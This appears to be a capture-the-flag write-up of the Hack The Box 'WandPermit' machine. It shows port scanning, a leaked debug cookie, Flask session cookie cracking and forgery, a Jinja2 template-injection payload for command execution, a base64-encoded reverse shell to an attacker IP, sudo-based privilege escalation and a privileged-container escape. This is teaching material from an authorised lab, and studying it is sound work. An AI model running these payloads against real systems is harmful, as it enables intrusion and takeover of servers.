HTB University CTF 2022 — Fullpwn Challenge: WandPermit

Yudistira Arya
7 min readDec 5, 2022

--

Introduction

This is easy level fullpwn challenge on Hack The Box University CTF 2022.

Chall description

You are a big boy magician now, it's time to get your magic wand permit but the wand permit service has closed registration for some weird reason. Can you find a way to get your permit?

Enumeration

start with running rustscan to scan open ports

sudo rustscan -a 10.129.228.165 -r1-65535 -- -sV -sC -oN nmap.txt
# Nmap 7.91 scan initiated Sun Dec  4 20:07:59 2022 as: nmap -vvv -p 80,5432 -sV -sC -oN nmap.txt 10.129.228.165
Nmap scan report for 10.129.228.165
Host is up, received reset ttl 63 (0.29s latency).
Scanned at 2022-12-04 20:07:59 PST for 114s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 62 Werkzeug/2.2.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Mon, 05 Dec 2022 04:08:15 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Server: is online :)
| X-Powered-By: Magic
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Mon, 05 Dec 2022 04:08:07 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 197
| Location: login
| Server: is online :)
| X-Powered-By: Magic
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="login">login</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Mon, 05 Dec 2022 04:08:08 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, GET, OPTIONS
| Server: is online :)
| X-Powered-By: Magic
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-favicon: Unknown favicon MD5: 9C5075081FAFECFC9C20043D394111DB
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
| http-robots.txt: 1 disallowed entry
|_/static/CHANGELOG.txt
|_http-server-header: Werkzeug/2.2.2 Python/3.8.10
| http-title: Wand Permit Authority | Log-in
|_Requested resource was login
5432/tcp open postgresql syn-ack ttl 62 PostgreSQL DB 9.6.0 or later
| fingerprint-strings:
| SMBProgNeg:
| SFATAL
| VFATAL
| C0A000
| Munsupported frontend protocol 65363.19778: server supports 3.0 to 3.0
| Fpostmaster.c
| L2188
|_ RProcessStartupPacket

we found robots.txt from nmap scan with the following content

/static/CHANGELOG.txt

webserver view

content inside changelog.txt

Version 2.4.0
-------------------------
- Removed hardcoded secrets on core.js, might need more cleaning on other files
Version 2.3.0
------------------------
- Added manifest plugin to webpack for an upcoming feature
Version 2.2.0
------------------------
- Cleaned up unused files
Version 2.1.0
------------------------
- Temporarily disabled registrations to normal users due to issues again
Version 2.0.0
------------------------
- Added special feature that allows only developers to access certain features
Version 1.3.0
------------------------
- Added webpack for static file bundling
Version 1.2.0
------------------------
- Added base45 encoding support for the new Wizard ID's
Version 1.1.0
------------------------
- Fixed issues on registration

let’s scan /static/ directories

we found another file, /static/manifest.json

the file containing this text

{
"main.css": "auto/minicssextract.css",
"main.js": "auto/main-bundle.js",
"dev.js": "auto/dev-48644bcc829deeffe29e-bundle.js"
}

Inside of /main-bundle.js, we can found registration url which was disabled (/testing/dev/api/v3/register)

(()=>{"use strict";function t(e,r){const s=n();return(t=function(t,n){return s[t-=271]})(e,r)}function n(){const t=["88nTNxbi","674502feENOW","2032023SNqBbM","22BoFNoI","submit","520682ZYoYwM","8NCvxNF","351036juKBfo","607930DIkrQc","2UFTray","1335948eXCNaG","loginForm","/login","1304295IBrEeG"];return(n=function(){return t})()}function e(){const n=t,e=document.getElementById(n(274));e.action=n(275),e[n(281)]()}function r(){const t=["registerForm","6634359pNVFml","method","action","1UzWrqh","4251786JMOHtu","/testing/dev/api/v3/register","3379708uVuUSP","3eifQCL","POST","7797979AOoKKf","5986304ePFOpi","336692zuUMXy","submit","3688955HtwrSn"];return(r=function(){return t})()}function s(t,n){const e=r();return(s=function(t,n){return e[t-=199]})(t,n)}function o(){const t=s,n=document.getElementById(t(212));n[t(200)]=t(203),n[t(199)]=t(206),n[t(210)]()}function u(t,n){const e=c();return(u=function(t,n){return e[t-=194]})(t,n)}function c(){const t=["67370NVaJae","176Euyxzh","263842eCWWIF","48zypDZa","3946476BBFrMR","1017fiVBvr","395236JAWcZI","149765hIJPRp","143erIBdq","790092xcFjJE","10655Jtljli","3OkZlct"];return(c=function(){return t})()}function a(){const t=["249907cJcLKv","443991yBytqs","keyup","18638217IUPyOL","6gRcFCw","addEventListener","emailInput","name","1169515suZGLZ","24KlCwin","440075AUCbti","value","change","2091622XzcfjD","onload","innerHTML","Login","click","disabled","files","fileUploadInput","7387264hDtVhe","getElementById"];return(a=function(){return t})()}!function(n,e){const r=t,s=n();for(;;)try{if(369556==parseInt(r(282))/1*(parseInt(r(272))/2)+parseInt(r(278))/3*(-parseInt(r(283))/4)+parseInt(r(276))/5+-parseInt(r(273))/6+-parseInt(r(279))/7+parseInt(r(277))/8*(parseInt(r(284))/9)+parseInt(r(271))/10*(parseInt(r(280))/11))break;s.push(s.shift())}catch(t){s.push(s.shift())}}(n),function(t,n){const e=s,r=t();for(;;)try{if(669711==parseInt(e(201))/1*(parseInt(e(209))/2)+parseInt(e(205))/3*(parseInt(e(204))/4)+-parseInt(e(211))/5+-parseInt(e(202))/6+parseInt(e(207))/7+-parseInt(e(208))/8+parseInt(e(213))/9)break;r.push(r.shift())}catch(t){r.push(r.shift())}}(r),function(t,n){const e=u,r=t();for(;;)try{if(504549==parseInt(e(201))/1+parseInt(e(205))/2*(-parseInt(e(198))/3)+parseInt(e(203))/4+-parseInt(e(197))/5*(-parseInt(e(202))/6)+parseInt(e(194))/7*(-parseInt(e(200))/8)+-parseInt(e(204))/9*(-parseInt(e(199))/10)+parseInt(e(195))/11*(-parseInt(e(196))/12))break;r.push(r.shift())}catch(t){r.push(r.shift())}}(c);const i=p;function p(t,n){const e=a();return(p=function(t,n){return e[t-=241]})(t,n)}!function(t,n){const e=p,r=t();for(;;)try{if(872871==parseInt(e(249))/1+-parseInt(e(252))/2+-parseInt(e(263))/3+-parseInt(e(248))/4*(parseInt(e(247))/5)+-parseInt(e(243))/6*(-parseInt(e(262))/7)+parseInt(e(260))/8+parseInt(e(242))/9)break;r.push(r.shift())}catch(t){r.push(r.shift())}}(a),window[i(253)]=()=>{const t=i,n=document[t(261)](t(259)),r=document[t(261)]("fileUploadButton"),s=document[t(261)](t(245)),u=document[t(261)]("submitButton");s?(!s.value&&(u[t(257)]=!0),u[t(254)]===t(255)?u[t(244)](t(256),e):"Register"===u[t(254)]&&u[t(244)](t(256),o),s[t(244)](t(241),(()=>{const n=t,e=s[n(250)];-1==String(e).search(/^\s*[\w\-\+_]+(\.[\w\-\+_]+)*\@[\w\-\+_]+\.[\w\-\+_]+(\.[\w\-\+_]+)*\s*$/)?u[n(257)]=!0:u[n(257)]=!1}))):n&&(r[t(244)](t(256),(()=>{n[t(256)]()})),n[t(244)](t(251),(()=>{const e=t;r[e(254)]=n[e(258)][0][e(246)]})))}})();

from /dev-48644bcc829deeffe29e-bundle.js we can find a static debug key which may allow us to access the registration page

(()=>{const t=e;function n(){const t=["5306hZYOBb","46144oFYHui","2092674nyhxib","1328703RvoYdl","1809168oMTOCe","getTime","expires=","9561972IksZju","x-debug-key-v3","038663befb1ad868a62035cf5d685adb","cookie","2122473ZOLSGJ","1224815cYPzDr","toUTCString","setTime"];return(n=function(){return t})()}function e(t,r){const s=n();return(e=function(t,n){return s[t-=205]})(t,r)}!function(t,n){const r=e,s=t();for(;;)try{if(903604==-parseInt(r(208))/1+-parseInt(r(207))/2+parseInt(r(216))/3+-parseInt(r(209))/4+parseInt(r(217))/5+-parseInt(r(212))/6+parseInt(r(205))/7*(parseInt(r(206))/8))break;s.push(s.shift())}catch(t){s.push(s.shift())}}(n),function(t,n,r){const s=e,o=new Date;o[s(219)](o[s(210)]()+864e5);let c=s(211)+o[s(218)]();document[s(215)]=t+"="+n+";"+c+";path=/"}(t(213),t(214))})();

found the dev cookie on dev-random-bundle.js

x-debug-key-v3="038663befb1ad868a62035cf5d685adb"

you can paste the whole code into the console and it will assign you the cookie automatically

Exploring Web Content

Now we can access the registration page on /testing/dev/api/v3/register

fill up all forms and then register. After registration is complete, we can now log in to the website.

The page looks like this after successfully logging in.

Here’s inside the Verification page

And here’s inside Meetups page

We don’t have enough permission to access those two pages. Actually, we can verify ourselves by uploading the images that are shown on the page Verification. But after verification, there’s not much thing can be done (i think)

So let’s continue.. If we see on cookie, now we have sessioncookie which looks like flask session cookie

Forging Cookie

using tools called flask-unsign, we can look at the data of the flask cookie.

Using the same tools, we can brute-force the secret token and if we succeed, we have the ability to forge a new cookie, which then can be used to change staff and verified value into True.

flask-unsign --cookie "eyJlbWFpbCI6ImFkbWluQGFkbWluLmNvbSIsImlkIjo5LCJzdGFmZiI6ZmFsc2UsInZlcmlmaWVkIjpmYWxzZX0.Y42OOQ.9M4wnKJ1VOzSooTNHcEHBRro8P4" --unsign --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval

got the secret sss

Now let’s forge the cookie

flask-unsign --sign --cookie "{'email': 'admin@admin.com', 'id': 9, 'staff': True, 'verified': True}" --secret sss

Change the cookie on the browser to the new one. Now we should be able to access the Meetups page

SSTI on meetings

search form was vulnerable to SSTI since our input {{7*7}} was rendered as 49. Also our input was reflected on url

We can achieve command injection using the payload below

{{request.application.__globals__.__builtins__.__import__('os').popen('code here').read()}}@a.com

We can execute reverse shell from there.

echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMi8xMjM0ICAwPiYxCg== | base64 -d | bash

And we should be able to get a connection from the target.

Let’s stabilize our shell using some magic trick

python3 -c "import pty; pty.spawn('/bin/bash')"
export TERM=xterm

CTRL + Z
stty raw -echo;fg;reset

Nice, we got a user flag

Privilege Escalation

Now let’s figure out how to escalate our privilege to root. if we check with sudo -l, we can clearly see that the current user can run less as root without a password.

We can do privilege escalation using the steps here https://gtfobins.github.io/gtfobins/less/

At this moment, I thought I was compromised the whole machine. But wait… why the hostname looks weird? ARE WE INSIDE A CONTAINER??

huft, since there’s also no root.txt on the whole system, then we are 100% inside a container and should escape in order to get the root flag

Fortunately, this container was run with --privileged options. This can be known since there are a lot of files under /dev directory .

You can also try this on your local machine and compare the contents of /dev on normal container and container with --privileged options.

With this information, we can try to mount the local filesystem and read root flag from there. We can use the command below to see the available disk that can be mounted

fdisk -l

None of the /dev/sda1-3 are local filesystem. I also couldn't mount /dev/sda3 since it was an LVM partition.

I was stuck at this point for a long time and take a nap after that. When I woke up, I re-run the command again and my eyes now see another available disk which was /dev/dm-0 and /dev/dm-1

Trying to mount /dev/vm-0 and surprisingly. This disk is the local filesystem.

We can now read root flag under /mnt/aaa/root/root.txt

--

--

Responses (1)